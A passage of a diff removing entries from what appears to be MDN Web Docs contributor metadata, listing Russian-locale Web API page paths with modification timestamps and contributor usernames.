"Lavrusha" - ] - }, - "Web/API/HTMLScriptElement": { - "modified": "2020-10-15T22:20:14.865Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/HTMLSelectElement": { - "modified": "2019-03-23T22:18:39.114Z", - "contributors": [ - "arronei" - ] - }, - "Web/API/HTMLSelectElement/selectedIndex": { - "modified": "2019-03-23T22:18:45.416Z", - "contributors": [ - "victory-v" - ] - }, - "Web/API/HTMLSelectElement/setCustomValidity": { - "modified": "2019-03-18T20:37:27.097Z", - "contributors": [ - "swymmwys", - "Sparks" - ] - }, - "Web/API/HTMLTableCellElement": { - "modified": "2019-03-23T22:35:01.649Z", - "contributors": [ - "boris00043llkm" - ] - }, - "Web/API/HTMLTableElement": { - "modified": "2019-03-23T23:44:42.061Z", - "contributors": [ - "brolnickij", - "alekskorolev", - "Aleksej", - "fscholz", - "arunpandianp", - "ethertank", - "Megapotz" - ] - }, - "Web/API/HTMLTableElement/insertRow": { - "modified": "2019-10-08T04:35:19.536Z", - "contributors": [ - "torbasow", - "4rontender" - ] - }, - "Web/API/HTMLTimeElement": { - "modified": "2020-10-15T22:10:12.429Z", - "contributors": [ - "IgorPuchkov2003" - ] - }, - "Web/API/HTMLTrackElement": { - "modified": "2019-03-18T21:37:07.232Z", - "contributors": [ - "SedovDP" - ] - }, - "Web/API/HTMLUnknownElement": { - "modified": "2019-03-23T22:43:32.981Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLVideoElement": { - "modified": "2019-03-23T22:40:35.984Z", - "contributors": [ - "SedovDP", - "MuradAz" - ] - }, - "Web/API/History": { - "modified": "2019-03-23T22:56:21.047Z", - "contributors": [ - "che7ovek", - "teoli", - "Dezeter", - "AlexAlex", - "lundgrenalex" - ] - }, - "Web/API/History/go": { - "modified": "2020-10-15T22:31:39.810Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/History/length": { - "modified": "2019-03-23T22:40:19.116Z", - "contributors": [ - "Guria", - "vyushin" - ] - }, - "Web/API/History/pushState": { - "modified": "2020-07-27T16:55:28.635Z", - "contributors": [ - "3bl3gamer", - "hisbvdis", - "Loskir", - "Forshortmrmeth", - "ElForastero", - "levyn", - "gorodilovyy", - "vyushin" - ] - }, - "Web/API/History/replaceState": { - "modified": "2020-10-15T22:31:35.165Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/API/History/state": { - "modified": "2020-11-13T00:51:29.985Z", - "contributors": [ - "htmlcssjspro" - ] - }, - "Web/API/History_API": { - "modified": "2020-10-27T08:58:33.431Z", - "contributors": [ - "boxoffun96", - "hisbvdis", - "YozhEzhi", - "gorbatova", - "elidare", - "mleker", - "shadowwzw", - "zhrivodkin", - "blackio", - "shevchenko", - "an2323", - "BychekRU", - "mxxn", - "fakedous", - "uleming", - "lysyi3m" - ] - }, - "Web/API/History_API/Working_with_the_History_API": { - "modified": "2020-07-11T10:15:57.301Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/API/IDBIndex": { - "modified": "2020-10-15T22:15:46.402Z", - "contributors": [ - "fscholz" - ] - }, - "Web/API/IDBIndex/locale": { - "modified": "2020-10-15T22:15:45.150Z", - "contributors": [ - "SphinxKnight", - "4EPTAKA" - ] - }, - "Web/API/ImageBitmap": { - "modified": "2020-10-15T22:04:39.195Z", - "contributors": [ - "iGureEV", - "fenfil" - ] - }, - "Web/API/ImageData": { - "modified": "2019-03-23T22:36:30.053Z", - "contributors": [ - "Bargamut", - "maximefremov", - "MuradAz" - ] - }, - "Web/API/IndexedDB_API": { - "modified": "2020-10-02T04:23:41.246Z", - "contributors": [ - "beltimor", - "chrisdavidmills", - "Ayr2017", - "boxa6", - "fdchnktn", - "amelk9n", - "karatheodory", - "curdwithraisins", - "Skholastik", - "madarche" - ] - }, - "Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB": { - "modified": "2020-08-02T03:41:34.455Z", - "contributors": [ - "ijetsoft", - "S-le", - "chrisdavidmills", - "curdwithraisins" - ] - }, - "Web/API/IndexedDB_API/Using_IndexedDB": { - "modified": "2020-01-13T04:48:53.673Z", - "contributors": [ - "chrisdavidmills", - "boxa6", - "nakhodkiin", - "higimo", - "Greg_Vasetsky", - "asm0dey", - "burzilov", - "mibamur" - ] - }, - "Web/API/InputEvent": { - "modified": "2020-10-15T22:22:10.475Z", - "contributors": [ - "houston1337" - ] - }, - "Web/API/IntersectionObserver": { - "modified": "2020-10-15T22:28:58.188Z", - "contributors": [ - "Bargamut" - ] - }, - "Web/API/Intersection_Observer_API": { - "modified": "2020-10-15T21:51:41.437Z", - "contributors": [ - "StepanSnigur", - "ArtemStudio", - "SamTLT", - "Tixxxon", - "ishpartko", - "kotAndy", - "InoY", - "alexbs", - "newbornfrontender", - "pkozemirov", - "baomastr", - "viktoryiakuzmitskaya", - "keslo", - "ahavianiri", - "c01nd01r", - "pepsikat", - "nechehin" - ] - }, - "Web/API/Intersection_Observer_API/Timing_element_visibility": { - "modified": "2020-06-26T19:11:41.367Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/API/KeyboardEvent": { - "modified": "2019-03-18T21:08:59.790Z", - "contributors": [ - "fscholz", - "wbamberg", - "Hyperion", - "pk.prog" - ] - }, - "Web/API/KeyboardEvent/altKey": { - "modified": "2020-11-02T09:43:06.783Z", - "contributors": [ - "ScratchFilin", - "RandomIt" - ] - }, - "Web/API/KeyboardEvent/key": { - "modified": "2020-10-15T22:22:06.988Z", - "contributors": [ - "VladGavriuk" - ] - }, - "Web/API/KeyboardEvent/key/Key_Values": { - "modified": "2020-10-29T10:48:36.046Z", - "contributors": [ - "ksam", - "Tvortsa" - ] - }, - "Web/API/KeyboardEvent/which": { - "modified": "2020-10-15T22:21:03.336Z", - "contributors": [ - "Dzvonek" - ] - }, - "Web/API/LocalMediaStream": { - "modified": "2019-03-23T22:18:51.568Z", - "contributors": [ - "sosnovskyas" - ] - }, - "Web/API/Location": { - "modified": "2019-08-09T02:31:05.855Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/Location/assign": { - "modified": "2020-10-15T21:49:12.290Z", - "contributors": [ - "ekirpichyov", - "tim-zh" - ] - }, - "Web/API/Location/reload": { - "modified": "2020-10-15T21:49:12.389Z", - "contributors": [ - "o.polikashina", - "ekirpichyov", - "RomanAkhma", - "tim-zh" - ] - }, - "Web/API/Location/replace": { - "modified": "2020-10-15T21:49:12.903Z", - "contributors": [ - "Yialo", - "ekirpichyov", - "tim-zh" - ] - }, - "Web/API/MediaDevices": { - "modified": "2020-04-03T11:20:43.663Z", - "contributors": [ - "IgorBorshchenkov", - "libbymc" - ] - }, - "Web/API/MediaDevices/enumerateDevices": { - "modified": "2020-03-31T12:50:04.953Z", - "contributors": [ - "mechtool", - "sosnovskyas" - ] - }, - "Web/API/MediaDevices/getUserMedia": { - "modified": "2020-10-15T22:26:53.958Z", - "contributors": [ - "osorina", - "mechtool", - "tomasevich" - ] - }, - "Web/API/MediaElementAudioSourceNode": { - "modified": "2019-03-23T22:32:01.398Z", - "contributors": [ - "Agreggor" - ] - }, - "Web/API/MediaError": { - "modified": "2020-10-15T22:29:34.738Z", - "contributors": [ - "podocenov" - ] - }, - "Web/API/MediaError/code": { - "modified": "2020-10-15T22:29:34.957Z", - "contributors": [ - "podocenov" - ] - }, - "Web/API/MediaRecorder": { - "modified": "2020-10-15T21:49:33.147Z", - "contributors": [ - "art-gur", - "citizen55", - "IegorKozakov" - ] - }, - "Web/API/MediaRecorder/MediaRecorder": { - "modified": "2020-03-09T07:37:44.490Z", - "contributors": [ - "mechtool", - "draedful" - ] - }, - "Web/API/MediaRecorder/ondataavailable": { - "modified": "2020-10-15T21:52:00.316Z", - "contributors": [ - "mechtool", - "art-gur", - "sosnovskyas" - ] - }, - "Web/API/MediaRecorder/requestData": { - "modified": "2019-03-23T22:18:49.895Z", - "contributors": [ - "sosnovskyas" - ] - }, - "Web/API/MediaRecorder/start": { - "modified": "2020-10-15T21:52:02.957Z", - "contributors": [ - "art-gur", - "sosnovskyas" - ] - }, - "Web/API/MediaRecorder/state": { - "modified": "2020-10-15T22:21:29.415Z", - "contributors": [ - "art-gur" - ] - }, - "Web/API/MediaSource": { - "modified": "2019-03-23T22:10:49.400Z", - "contributors": [ - "oboshto", - "Fell-x27" - ] - }, - "Web/API/MediaStream": { - "modified": "2020-10-15T22:21:32.454Z", - "contributors": [ - "ialexi-bl", - "wbamberg" - ] - }, - "Web/API/MediaStream/active": { - "modified": "2020-10-15T22:21:31.202Z", - "contributors": [ - "art-gur" - ] - }, - "Web/API/MediaStreamTrack": { - "modified": "2020-10-15T22:27:34.415Z", - "contributors": [ - "ialexi-bl" - ] - }, - "Web/API/MediaStream_Recording_API": { - "modified": "2019-03-23T22:22:45.107Z", - "contributors": [ - "aayaresko", - "curdwithraisins" - ] - }, - "Web/API/MediaStream_Recording_API/Recording_a_media_element": { - "modified": "2020-03-09T08:22:07.951Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API": { - "modified": "2020-10-15T22:27:33.801Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/MediaTrackConstraints": { - "modified": "2020-11-01T07:19:41.395Z", - "contributors": [ - "sideshowbarker" - ] - }, - "Web/API/MediaTrackConstraints/Эхоподавление": { - "modified": "2020-11-01T07:26:52.423Z", - "contributors": [ - "Ibadichan" - ] - }, - "Web/API/Media_Session_API": { - "modified": "2020-10-15T22:31:42.491Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/MouseEvent": { - "modified": "2019-11-13T05:14:10.400Z", - "contributors": [ - "torbasow", - "twmicro", - "RevakoOA", - "swymmwys", - "LidiyaU", - "muichikawa" - ] - }, - "Web/API/MouseEvent/button": { - "modified": "2020-10-06T15:02:00.550Z", - "contributors": [ - "post032", - "McBurns" - ] - }, - "Web/API/MouseEvent/buttons": { - "modified": "2019-03-18T21:39:38.716Z", - "contributors": [ - "McBurns" - ] - }, - "Web/API/MouseEvent/clientX": { - "modified": "2019-03-18T21:17:28.301Z", - "contributors": [ - "twmicro", - "torbasow", - "monkin", - "nikolaifedorov" - ] - }, - "Web/API/MouseEvent/clientY": { - "modified": "2019-03-18T21:31:19.452Z", - "contributors": [ - "MuradAz" - ] - }, - "Web/API/MouseEvent/ctrlKey": { - "modified": "2020-10-15T22:09:36.697Z", - "contributors": [ - "twmicro" - ] - }, - "Web/API/MouseEvent/offsetX": { - "modified": "2019-03-23T22:29:13.229Z", - "contributors": [ - "nikolaifedorov", - "makkgregory" - ] - }, - "Web/API/MouseEvent/pageX": { - "modified": "2019-03-23T22:07:45.230Z", - "contributors": [ - "andrew_noskov" - ] - }, - "Web/API/MouseEvent/screenX": { - "modified": "2020-10-15T22:22:25.976Z", - "contributors": [ - "Abagian" - ] - }, - "Web/API/MouseEvent/shiftKey": { - "modified": "2019-03-23T22:06:36.338Z", - "contributors": [ - "insafski" - ] - }, - "Web/API/MouseEvent/which": { - "modified": "2020-10-15T22:15:09.701Z", - "contributors": [ - "InoY" - ] - }, - "Web/API/MutationObserver": { - "modified": "2020-10-15T21:47:37.351Z", - "contributors": [ - "BelousovDmitrii", - "YozhEzhi", - "PaulineNemchak", - "Corba", - "Vasiliskov", - "torbasow", - "Allgoll" - ] - }, - "Web/API/NamedNodeMap": { - "modified": "2020-10-15T22:22:43.975Z", - "contributors": [ - "ellizii" - ] - }, - "Web/API/NamedNodeMap/getNamedItem": { - "modified": "2020-10-15T22:22:43.654Z", - "contributors": [ - "ellizii" - ] - }, - "Web/API/Navigation_timing_API": { - "modified": "2019-03-23T22:26:37.338Z", - "contributors": [ - "frooeyzanny", - "Zaynullin", - "andrewsezko" - ] - }, - "Web/API/Navigator": { - "modified": "2019-03-18T20:54:33.010Z", - "contributors": [ - "JS_Johny", - "devrom", - "ShantyHoz", - "wbamberg", - "trace_route", - "AynurGalimov", - "nik3402", - "meteor91", - "AlexAlex", - "fscholz" - ] - }, - "Web/API/Navigator/battery": { - "modified": "2020-10-15T21:36:45.705Z", - "contributors": [ - "bershanskiy", - "AlexAlex" - ] - }, - "Web/API/Navigator/cookieEnabled": { - "modified": "2019-03-23T22:54:01.189Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Navigator/doNotTrack": { - "modified": "2019-03-23T22:54:05.166Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Navigator/geolocation": { - "modified": "2019-03-23T22:54:20.178Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Navigator/getGamepads": { - "modified": "2019-03-23T22:56:57.020Z", - "contributors": [ - "Deeech" - ] - }, - "Web/API/Navigator/getUserMedia": { - "modified": "2020-12-04T09:40:23.554Z", - "contributors": [ - "rokra2005" - ] - }, - "Web/API/Navigator/getVRDisplays": { - "modified": "2020-10-15T22:16:04.665Z", - "contributors": [ - "D-Koganov" - ] - }, - "Web/API/Navigator/mediaDevices": { - "modified": "2020-06-26T13:31:26.261Z", - "contributors": [ - "snsoonnoos", - "Smekalin", - "sosnovskyas" - ] - }, - "Web/API/Navigator/oscpu": { - "modified": "2019-03-23T22:54:23.860Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Navigator/registerProtocolHandler": { - "modified": "2019-03-23T22:54:10.353Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Navigator/sendBeacon": { - "modified": "2020-10-15T22:07:25.657Z", - "contributors": [ - "jkulvich" - ] - }, - "Web/API/Navigator/serviceWorker": { - "modified": "2019-03-23T22:54:22.707Z", - "contributors": [ - "utking", - "Nightquester", - "AlexAlex" - ] - }, - "Web/API/Navigator/vibrate": { - "modified": "2019-03-23T22:54:05.519Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorGeolocation": { - "modified": "2019-03-23T22:43:32.725Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorID": { - "modified": "2020-10-15T21:36:43.124Z", - "contributors": [ - "fscholz", - "AlexAlex" - ] - }, - "Web/API/NavigatorID/appCodeName": { - "modified": "2019-03-23T22:54:11.399Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorID/appName": { - "modified": "2019-03-23T22:54:41.758Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorID/appVersion": { - "modified": "2019-03-23T22:54:32.102Z", - "contributors": [ - "FordSoft", - "AlexAlex" - ] - }, - "Web/API/NavigatorID/platform": { - "modified": "2020-10-15T21:36:42.389Z", - "contributors": [ - "mqqza", - "AlexAlex" - ] - }, - "Web/API/NavigatorID/product": { - "modified": "2019-03-23T22:54:26.372Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorID/taintEnabled": { - "modified": "2020-10-15T21:36:42.862Z", - "contributors": [ - "fscholz", - "AlexAlex" - ] - }, - "Web/API/NavigatorID/userAgent": { - "modified": "2019-05-31T01:04:23.816Z", - "contributors": [ - "Grawl", - "patsuckow", - "AlexAlex" - ] - }, - "Web/API/NavigatorLanguage": { - "modified": "2019-03-23T22:54:36.204Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorLanguage/language": { - "modified": "2020-05-02T05:07:32.288Z", - "contributors": [ - "leshkin", - "AlexAlex" - ] - }, - "Web/API/NavigatorLanguage/languages": { - "modified": "2019-03-23T22:54:22.153Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorOnLine": { - "modified": "2019-03-23T22:54:40.457Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorOnLine/onLine": { - "modified": "2019-03-23T22:54:19.762Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorPlugins": { - "modified": "2019-03-23T22:54:31.545Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorPlugins/javaEnabled": { - "modified": "2019-03-23T22:54:23.717Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NavigatorPlugins/mimeTypes": { - "modified": "2019-03-23T22:54:19.236Z", - "contributors": [ - "nik3402", - "torbasow", - "AlexAlex" - ] - }, - "Web/API/NavigatorPlugins/plugins": { - "modified": "2019-03-23T22:54:18.720Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NetworkInformation": { - "modified": "2019-03-23T22:54:09.237Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/NetworkInformation/connection": { - "modified": "2019-03-23T22:54:21.417Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Network_Information_API": { - "modified": "2020-10-15T22:31:42.260Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Node": { - "modified": "2019-03-23T23:01:41.792Z", - "contributors": [ - "Rudy-Clark", - "AlexAlex", - "fscholz" - ] - }, - "Web/API/Node.replaceChild": { - "modified": "2019-03-23T23:14:17.260Z", - "contributors": [ - "khalid32", - "Troynov" - ] - }, - "Web/API/Node/appendChild": { - "modified": "2020-09-26T12:24:30.570Z", - "contributors": [ - "LancerRevX", - "ellizii", - "TrotskyAV", - "Tillaev", - "fscholz", - "jsx", - "Troynov" - ] - }, - "Web/API/Node/baseURI": { - "modified": "2019-03-23T22:53:47.548Z", - "contributors": [ - "cezsored", - "AlexAlex" - ] - }, - "Web/API/Node/baseURIObject": { - "modified": "2019-03-23T22:53:30.789Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/childNodes": { - "modified": "2019-03-23T23:00:08.391Z", - "contributors": [ - "RoM4iK", - "dginzburg" - ] - }, - "Web/API/Node/cloneNode": { - "modified": "2019-03-23T22:53:38.893Z", - "contributors": [ - "IvanRave", - "AlexAlex" - ] - }, - "Web/API/Node/compareDocumentPosition": { - "modified": "2019-03-23T23:31:08.649Z", - "contributors": [ - "fscholz", - "khalid32", - "schyzoo" - ] - }, - "Web/API/Node/contains": { - "modified": "2020-10-15T21:28:15.925Z", - "contributors": [ - "FFxSquall", - "itmamont", - "Neir", - "fscholz", - "AshfaqHossain", - "Troynov" - ] - }, - "Web/API/Node/firstChild": { - "modified": "2019-03-23T22:53:36.038Z", - "contributors": [ - "BodyCount", - "AlexAlex" - ] - }, - "Web/API/Node/getUserData": { - "modified": "2019-03-23T22:53:29.815Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/hasChildNodes": { - "modified": "2019-03-23T22:53:39.791Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/innerText": { - "modified": "2020-10-15T21:49:13.148Z", - "contributors": [ - "YozhEzhi", - "ivandoroshenko", - "Aleksander3007" - ] - }, - "Web/API/Node/insertBefore": { - "modified": "2019-03-23T22:58:37.545Z", - "contributors": [ - "gr1ev0us" - ] - }, - "Web/API/Node/isConnected": { - "modified": "2020-10-15T22:12:28.187Z", - "contributors": [ - "Aliaksandrlosich" - ] - }, - "Web/API/Node/isDefaultNamespace": { - "modified": "2019-03-23T22:53:37.058Z", - "contributors": [ - "FeelUs", - "AlexAlex" - ] - }, - "Web/API/Node/isEqualNode": { - "modified": "2019-10-05T05:43:10.730Z", - "contributors": [ - "ellizii", - "AlexAlex" - ] - }, - "Web/API/Node/isSameNode": { - "modified": "2019-03-23T22:53:28.067Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/isSupported": { - "modified": "2019-03-23T22:53:39.075Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/lastChild": { - "modified": "2019-03-23T23:31:45.681Z", - "contributors": [ - "kup", - "fscholz", - "jsx", - "Yuri" - ] - }, - "Web/API/Node/localName": { - "modified": "2019-03-23T22:53:27.435Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/lookupNamespaceURI": { - "modified": "2019-03-23T22:53:25.440Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/lookupPrefix": { - "modified": "2019-03-23T22:53:32.113Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/namespaceURI": { - "modified": "2019-03-23T22:53:39.665Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/nextSibling": { - "modified": "2019-03-23T22:53:34.071Z", - "contributors": [ - "wbamberg", - "ayc", - "Natalya_Surikova", - "BychekRU", - "AlexAlex" - ] - }, - "Web/API/Node/nodeName": { - "modified": "2019-03-23T22:53:26.514Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/nodePrincipal": { - "modified": "2019-03-23T22:53:31.496Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/nodeType": { - "modified": "2019-01-16T20:24:49.318Z", - "contributors": [ - "AlexChuev", - "dginzburg" - ] - }, - "Web/API/Node/nodeValue": { - "modified": "2019-03-23T22:53:41.150Z", - "contributors": [ - "Rashid6283", - "AlexAlex" - ] - }, - "Web/API/Node/normalize": { - "modified": "2019-03-23T22:53:40.067Z", - "contributors": [ - "Kochetkoff", - "AlexAlex" - ] - }, - "Web/API/Node/ownerDocument": { - "modified": "2019-03-23T22:53:30.286Z", - "contributors": [ - "k206i", - "AlexAlex" - ] - }, - "Web/API/Node/parentElement": { - "modified": "2019-03-23T22:53:39.949Z", - "contributors": [ - "wenzor", - "megastels", - "keslo", - "AlexAlex" - ] - }, - "Web/API/Node/parentNode": { - "modified": "2019-03-18T20:55:47.913Z", - "contributors": [ - "panbro", - "dmitrygorbenko", - "fscholz", - "khalid32", - "Troynov" - ] - }, - "Web/API/Node/prefix": { - "modified": "2019-03-23T22:53:39.207Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/Node/previousSibling": { - "modified": "2019-03-23T22:53:39.334Z", - "contributors": [ - "wbamberg", - "BychekRU", - "AlexAlex" - ] - }, - "Web/API/Node/removeChild": { - "modified": "2019-09-18T07:57:22.996Z", - "contributors": [ - "Loosefer", - "RumyantsevMichael", - "fscholz", - "orlovas", - "jsx", - "Troynov" - ] - }, - "Web/API/Node/textContent": { - "modified": "2019-03-23T23:14:02.764Z", - "contributors": [ - "Natalya_Surikova", - "AlexAlex", - "fscholz", - "smaximov", - "khalid32", - "Norville", - "Troynov" - ] - }, - "Web/API/NodeList": { - "modified": "2019-03-18T21:00:35.906Z", - "contributors": [ - "MaxBrohman", - "nakhodkiin", - "Kadekomst", - "arhad", - "surrsoft", - "dginzburg" - ] - }, - "Web/API/NonDocumentTypeChildNode": { - "modified": "2019-03-18T21:43:39.016Z", - "contributors": [ - "fscholz" - ] - }, - "Web/API/NonDocumentTypeChildNode/NonDocumentTypeChildNode.nextElementSibling": { - "modified": "2019-08-16T17:33:57.106Z", - "contributors": [ - "T-p-V", - "GoodLuck" - ] - }, - "Web/API/NonDocumentTypeChildNode/previousElementSibling": { - "modified": "2019-03-18T21:39:03.666Z", - "contributors": [ - "Sparks" - ] - }, - "Web/API/Notifications_API": { - "modified": "2019-03-23T22:16:18.353Z", - "contributors": [ - "curdwithraisins" - ] - }, - "Web/API/PannerNode": { - "modified": "2019-03-23T22:07:21.654Z", - "contributors": [ - "customizer" - ] - }, - "Web/API/ParentNode": { - "modified": "2020-10-15T21:37:34.695Z", - "contributors": [ - "boxa6", - "arturparkhisenko", - "AlexeyVasilievE", - "YozhEzhi", - "fscholz" - ] - }, - "Web/API/ParentNode/append": { - "modified": "2020-10-15T22:10:43.295Z", - "contributors": [ - "7nik", - "chrisdavidmills", - "KonstantinBuza", - "madebydima" - ] - }, - "Web/API/ParentNode/childElementCount": { - "modified": "2019-08-28T05:06:44.542Z", - "contributors": [ - "Yialo", - "vitya-ne", - "alexsakhnov", - "In4in" - ] - }, - "Web/API/ParentNode/children": { - "modified": "2019-09-25T14:03:42.278Z", - "contributors": [ - "ellizii", - "Yialo", - "RblSb", - "evgkit", - "In4in" - ] - }, - "Web/API/ParentNode/firstElementChild": { - "modified": "2019-08-28T05:08:54.083Z", - "contributors": [ - "Yialo", - "besedin-art" - ] - }, - "Web/API/ParentNode/lastElementChild": { - "modified": "2019-08-28T05:09:39.314Z", - "contributors": [ - "Yialo", - "Waakym" - ] - }, - "Web/API/ParentNode/prepend": { - "modified": "2020-10-15T22:20:07.127Z", - "contributors": [ - "RenJeka", - "pronskiy" - ] - }, - "Web/API/PaymentRequest": { - "modified": "2020-10-15T22:32:45.030Z", - "contributors": [ - "kingdomstay" - ] - }, - "Web/API/Payment_Request_API": { - "modified": "2020-10-15T22:31:48.935Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Performance": { - "modified": "2020-10-15T21:37:50.312Z", - "contributors": [ - "MasterOfMenace", - "antipenko", - "fscholz", - "wbamberg", - "icamys", - "chrisdavidmills" - ] - }, - "Web/API/Performance/now": { - "modified": "2019-12-02T17:54:34.173Z", - "contributors": [ - "VoloshchenkoAl", - "icamys", - "illyaV" - ] - }, - "Web/API/Pointer_Lock_API": { - "modified": "2019-03-23T23:04:56.807Z", - "contributors": [ - "DanyaSWorlD", - "Taran282" - ] - }, - "Web/API/Pointer_events": { - "modified": "2020-10-15T22:33:38.177Z", - "contributors": [ - "hisbvdis" - ] - }, - "Web/API/PositionOptions": { - "modified": "2019-03-23T22:21:01.208Z", - "contributors": [ - "Casus", - "devkudasov" - ] - }, - "Web/API/Presentation": { - "modified": "2019-03-18T21:46:12.982Z", - "contributors": [ - "VardgesK" - ] - }, - "Web/API/PushManager": { - "modified": "2020-10-15T21:37:23.948Z", - "contributors": [ - "art-gur", - "RomanKontsevoy", - "fdor", - "chrisdavidmills" - ] - }, - "Web/API/PushManager/subscribe": { - "modified": "2019-03-26T09:16:55.705Z", - "contributors": [ - "RomanKontsevoy", - "romandutkevych", - "Nikolay2016" - ] - }, - "Web/API/Push_API": { - "modified": "2020-06-22T15:42:29.955Z", - "contributors": [ - "KR1470R", - "MuradAz", - "olvin-hh", - "michael_v92", - "vladislav251990", - "Haosik", - "savelichalex", - "sosnovskyas", - "AlexKart86", - "idelpivnitskiy", - "vadimilin888" - ] - }, - "Web/API/Push_API/Using_the_Push_API": { - "modified": "2019-03-23T22:33:26.535Z", - "contributors": [ - "vasyan", - "zvadym", - "curdwithraisins", - "amutylo", - "alfaslash" - ] - }, - "Web/API/RTCPeerConnection": { - "modified": "2020-10-15T22:33:10.694Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/RTCPeerConnection": { - "modified": "2020-10-15T22:33:06.758Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/canTrickleIceCandidates": { - "modified": "2020-10-15T22:33:08.620Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/connectionState": { - "modified": "2020-10-15T22:33:08.142Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/currentLocalDescription": { - "modified": "2020-10-15T22:33:08.312Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/currentRemoteDescription": { - "modified": "2020-10-15T22:33:09.693Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/getDefaultIceServers": { - "modified": "2020-10-15T22:33:11.540Z", - "contributors": [ - "mechtool" - ] - }, - "Web/API/RTCPeerConnection/icecandidate_event": { - "modified": "2020-11-25T18:23:55.148Z", - "contributors": [ - "nikolaifedorov" - ] - }, - "Web/API/RandomSource": { - "modified": "2019-07-04T02:33:27.227Z", - "contributors": [ - "freezer278", - "Jeremie" - ] - }, - "Web/API/RandomSource/getRandomValues": { - "modified": "2020-10-15T21:43:20.603Z", - "contributors": [ - "ekirpichyov", - "pepeevich" - ] - }, - "Web/API/Range": { - "modified": "2020-11-14T17:52:09.839Z", - "contributors": [ - "p36101", - "Horhik", - "fakedous", - "fscholz" - ] - }, - "Web/API/Range/collapsed": { - "modified": "2019-03-23T22:46:28.635Z", - "contributors": [ - "AlexChuev" - ] - }, - "Web/API/Range/getBoundingClientRect": { - "modified": "2019-03-23T23:21:22.290Z", - "contributors": [ - "fscholz", - "khalid32", - "akhabibullina" - ] - }, - "Web/API/Range/surroundContents": { - "modified": "2019-03-23T22:51:16.207Z", - "contributors": [ - "Xnoyer" - ] - }, - "Web/API/RenderingContext": { - "modified": "2020-01-03T11:02:10.593Z", - "contributors": [ - "5GameMaker" - ] - }, - "Web/API/Request": { - "modified": "2020-10-15T22:22:45.973Z", - "contributors": [ - "Noop1", - "RomanovYurii", - "larsgw" - ] - }, - "Web/API/Request/mode": { - "modified": "2020-10-15T22:22:45.717Z", - "contributors": [ - "dmtrkskv", - "dR3m" - ] - }, - "Web/API/Response": { - "modified": "2020-10-15T22:34:41.094Z", - "contributors": [ - "swimmwatch" - ] - }, - "Web/API/Response/Response": { - "modified": "2020-10-15T22:34:36.791Z", - "contributors": [ - "swimmwatch" - ] - }, - "Web/API/SVGAElement": { - "modified": "2019-03-23T22:13:52.795Z", - "contributors": [ - "warsan", - "nudaworks" - ] - }, - "Web/API/SVGAElement/SVGAlement.target": { - "modified": "2019-03-18T21:45:46.517Z", - "contributors": [ - "Liubava77" - ] - }, - "Web/API/SVGAElement/target": { - "modified": "2020-10-15T22:05:23.688Z", - "contributors": [ - "warsan" - ] - }, - "Web/API/SVGGraphicsElement": { - "modified": "2020-10-15T22:06:52.973Z", - "contributors": [ - "boxa6", - "annaSchugay" - ] - }, - "Web/API/SVGTextContentElement": { - "modified": "2020-10-15T22:06:03.792Z", - "contributors": [ - "warsan" - ] - }, - "Web/API/SVGTextElement": { - "modified": "2020-10-15T22:06:02.755Z", - "contributors": [ - "warsan" - ] - }, - "Web/API/Screen": { - "modified": "2019-03-23T22:19:10.789Z", - "contributors": [ - "Naifu" - ] - }, - "Web/API/Screen_Capture_API": { - "modified": "2020-10-15T22:28:05.843Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/API/Screen_Capture_API/Using_Screen_Capture": { - "modified": "2020-03-08T13:44:19.351Z", - "contributors": 